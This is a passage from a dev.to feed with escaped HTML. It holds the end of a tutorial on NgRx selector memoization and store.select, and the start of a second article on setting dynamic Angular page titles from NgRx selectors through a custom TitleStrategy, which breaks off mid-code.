  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;lastMemoizedArguments&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;unknown&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;lastMemoizedResult&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// Create a function which&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Applies dependent selectors to the state&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;otherSelectorResults&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;otherSelectors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selector&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="c1"&gt;// Checks whether the last arguments with which the projector was called match the results from the dependent selectors&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;lastMemoizedArguments&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;every&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;arg&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;otherSelectorResults&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="c1"&gt;// Returns memoized results when true&lt;/span&gt;
        &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;lastMemoizedResult&lt;/span&gt;
        &lt;span class="c1"&gt;// or applies the projector to the results from the dependent selectors&lt;/span&gt;
        &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;projector&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nx"&gt;lastMemoizedArguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;otherSelectorResults&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;lastMemoizedResult&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How &lt;code&gt;store.select&lt;/code&gt; really works
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;store.select&lt;/code&gt; creates an Observable based on the state and a selector.&lt;/p&gt;

&lt;p&gt;For every single state change, the provided selector is applied to the value. Duplicate results are simply ignored.&lt;/p&gt;

&lt;p&gt;You could implement &lt;code&gt;select&lt;/code&gt; within a global store like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Store&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="na"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;state$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
      &lt;span class="c1"&gt;// don't emit a new value unless the value changes&lt;/span&gt;
      &lt;span class="nf"&gt;distinctUntilChanged&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; 
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  So those implementations mean...
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;createSelector&lt;/code&gt; handles setting up functions that process state and memoize their results based on child selectors. &lt;code&gt;store.select&lt;/code&gt; applies a selector function to an Observable of every state change, and only emits changed values.&lt;/p&gt;

&lt;h3&gt;
  
  
  Applying what we learned
&lt;/h3&gt;

&lt;p&gt;Let's look at how some real selectors use memoization to avoid unnecessary re-calculations.&lt;/p&gt;

&lt;p&gt;Say we have the following selectors for finding students who have a passing grade on a test:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;selectStudents&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createSelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;selectState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;students&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;selectTestGradesByStudentId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createSelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;selectState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;testGradesToStudentId&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;selectPassedTestsByStudentId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createSelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;selectTestGradesToStudentId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;testGradesToStudentId&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromEntries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;testGradesToStudentId&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(([&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;grade&lt;/span&gt; &lt;span class="p"&gt;}])&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;grade&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;selectStudentsWhoPassedTest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createSelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;selectPassedTestsByStudentId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;selectStudents&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;passedTestsByStudentId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;students&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;students&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;student&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="nx"&gt;passedTestsByStudentId&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;student&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then when we are subscribed to this selector:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;studentsWhoPassedTest$&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selectStudentsWhoPassedTest&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;studentsWhoPassedTest$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Say the current state was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;students&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Alice&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Bob&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
  &lt;span class="nx"&gt;testGradesToStudentId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;grade&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;65&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;grade&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When we subscribe, &lt;code&gt;selectStudentsWhoPassedTest&lt;/code&gt; would be called immediately, and all the dependent selectors would also be called, and every projector would be run.&lt;/p&gt;

&lt;p&gt;If we update the state by adding another student without adding another test grade, we should expect only the selectors relevant to the students' list to call their projectors:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;When &lt;code&gt;selectStudentsWhoPassedTest&lt;/code&gt; is called,

&lt;ul&gt;
&lt;li&gt;First, it evaluates its dependent selectors against the current state.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;selectPassedTestsByStudentId&lt;/code&gt; calls its dependent selector

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;selectTestGradesToStudentId&lt;/code&gt; calls &lt;code&gt;selectState&lt;/code&gt;, which returns the current state object.&lt;/li&gt;
&lt;li&gt;The projector function is then applied, returning the &lt;code&gt;testGradesToStudentId&lt;/code&gt; array.&lt;/li&gt;
&lt;li&gt;Next, the projector function for &lt;code&gt;selectPassedTestsByStudentId&lt;/code&gt; is applied, using the argument from &lt;code&gt;selectTestGradesToStudentId&lt;/code&gt;. Since the result is identical to the previous state (same reference), the memoized projector result is returned.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Separately, &lt;code&gt;selectStudents&lt;/code&gt; calls &lt;code&gt;selectState&lt;/code&gt;, fetching the new state object.

&lt;ul&gt;
&lt;li&gt;Its projector function returns the &lt;code&gt;state.students&lt;/code&gt; array, now with a new reference due to the updated list of students.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Finally, &lt;code&gt;selectStudentsWhoPassedTest&lt;/code&gt; compares its arguments: the unchanged &lt;code&gt;passedTestsByStudentId&lt;/code&gt; and the updated array of students. Given the change in one argument, the projector is re-applied.&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;So when we changed the list of students:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;selectPassedTestsByStudentId&lt;/code&gt;'s projector didn't have to get called again&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;selectStudentsWhoPassedTest&lt;/code&gt;'s projector got called again using the new list of students&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Wrapping up
&lt;/h3&gt;

&lt;p&gt;In this article you learned:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Selectors that are part of a subscription are called on every state change&lt;/li&gt;
&lt;li&gt;The projectors of selectors are only called when the results of their dependent selectors change from the previous state value to the current one&lt;/li&gt;
&lt;li&gt;Selector memoization is set up in &lt;code&gt;createSelector&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Change notifications of selector values are set up in &lt;code&gt;store.select&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Selectors have to be written intentionally to take advantage of their memoization&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without the mystery of how selectors work, you should be able to write performant, composable selectors.&lt;/p&gt;

</description>
      <category>ngrx</category>
    </item>
    <item>
      <title>How to Use 🧨 Dynamic Titles from NgRx Selectors</title>
      <dc:creator>David</dc:creator>
      <pubDate>Sat, 16 Jul 2022 23:33:03 +0000</pubDate>
      <link>https://dev.to/davidshortman/how-to-use-dynamic-titles-from-ngrx-selectors-1f0</link>
      <guid>https://dev.to/davidshortman/how-to-use-dynamic-titles-from-ngrx-selectors-1f0</guid>
      <description>&lt;p&gt;When Angular 14 released and &lt;a href="https://dev.to/brandontroberts/setting-page-titles-natively-with-the-angular-router-393j"&gt;custom title strategies became a possibility&lt;/a&gt;, my mind immediately went to asking, "how can I dynamically set a page's title from a selector?"&lt;/p&gt;

&lt;p&gt;I wrote &lt;a href="https://github.com/ngrx/platform/discussions/3494" rel="noopener noreferrer"&gt;an RFC in the NgRx community&lt;/a&gt; to pitch an API for doing this. I'd like to explain how it works, and how you can leverage it today (whether or not it joins an @ngrx/* package).&lt;/p&gt;

&lt;h2&gt;
  
  
  Example of configuring a dynamic title
&lt;/h2&gt;

&lt;p&gt;All the code for the following example can be found in this &lt;a href="https://stackblitz.com/edit/angular-ivy-pbyvne?file=src%2Fapp%2Fapp.component.ts,src%2Fapp%2Fapp-routing.module.ts,src%2Fapp%2Fapp.module.ts,src%2Fapp%2Fcounter.ts,src%2Fapp%2Ftitle-strategy.ts" rel="noopener noreferrer"&gt;StackBlitz demo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Say I have a website where I can enter the name of an "action" in an input, and then "do" it by clicking a "Do Action" button.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzfkhyd9u6t05kev0j2lt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzfkhyd9u6t05kev0j2lt.png" alt="Blank field titled " width="800" height="168"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When I click "Do Action", the title of my page reflects how many seconds have passed since the "action" was done.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3sn5wzkkdm7xepuy0bzh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3sn5wzkkdm7xepuy0bzh.png" alt="Webpage tab above the form says " width="800" height="321"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In my Angular app routes, I have the route for the page configured using a tag function called &lt;code&gt;ngrxTitle&lt;/code&gt; that allows me to inline selectors into a string.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;routes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Routes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;component&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AppComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ngrxTitle&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;counterFeature&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;selectCount&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; Seconds Since &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;counterFeature&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;selectEvent&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The selector &lt;code&gt;counterFeature.selectCount&lt;/code&gt; selects the number of seconds since the button was clicked, while &lt;code&gt;counterFeature.selectEvent&lt;/code&gt; selects the name of the action entered in the input when the button was clicked. Using &lt;code&gt;ngrxTitle&lt;/code&gt;, I can templatize the title to include the latest results of multiple selectors like these.&lt;/p&gt;
&lt;h2&gt;
  
  
  ngrxTitle Implementation
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;ngrxTitle&lt;/code&gt; is a &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#tagged_templates" rel="noopener noreferrer"&gt;tag function&lt;/a&gt; that processes a template literal with selectors.&lt;/p&gt;

&lt;p&gt;For every selector, it generates a unique ID and replaces the selector with the string &lt;code&gt;'NgRxTitleSelector${ID}'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For example, when I ran my app, the title template literal was generated into the string &lt;code&gt;'NgRxTitleSelector${f35ace1e-28d8-4dc6-850a-f0900315ca8a} Seconds Since NgRxTitleSelector${40b2582b-832a-44f5-b6ce-f650518db278}'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Angular 14 allows developers to implement custom "title strategies". A &lt;code&gt;TitleStrategy&lt;/code&gt; is a class with an &lt;code&gt;updateTitle&lt;/code&gt; method that is called each time the route changes. This gives us the opportunity to change the title any way desired.&lt;/p&gt;

&lt;p&gt;That means we can process the title template generated by &lt;code&gt;ngrxTitle&lt;/code&gt; and subscribe the selectors referenced by the template to produce a new title.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;NgRxTitleStrategy&lt;/code&gt; starts with this basic structure:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;NgRxTitleStrategy&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;TitleStrategy&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;titleSubscription&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Subscription&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="nf"&gt;updateTitle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;snapshot&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;RouterStateSnapshot&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Each time the route changes, cancel the last subscription&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;titleSubscription&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;unsubscribe&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// Get the title using the base method&lt;/span&gt;
    &lt;span class="c1"&gt;// When using ngrxTitle, this will be the special template string&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;titleTemplate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;buildTitle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;snapshot&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Create an Observable of the title built from the template&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;title$&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;selectTitleFromTemplate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;titleTemplate&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Continuously update the title as the selectors emit new values&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;titleSubscription&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;title$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setTitle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
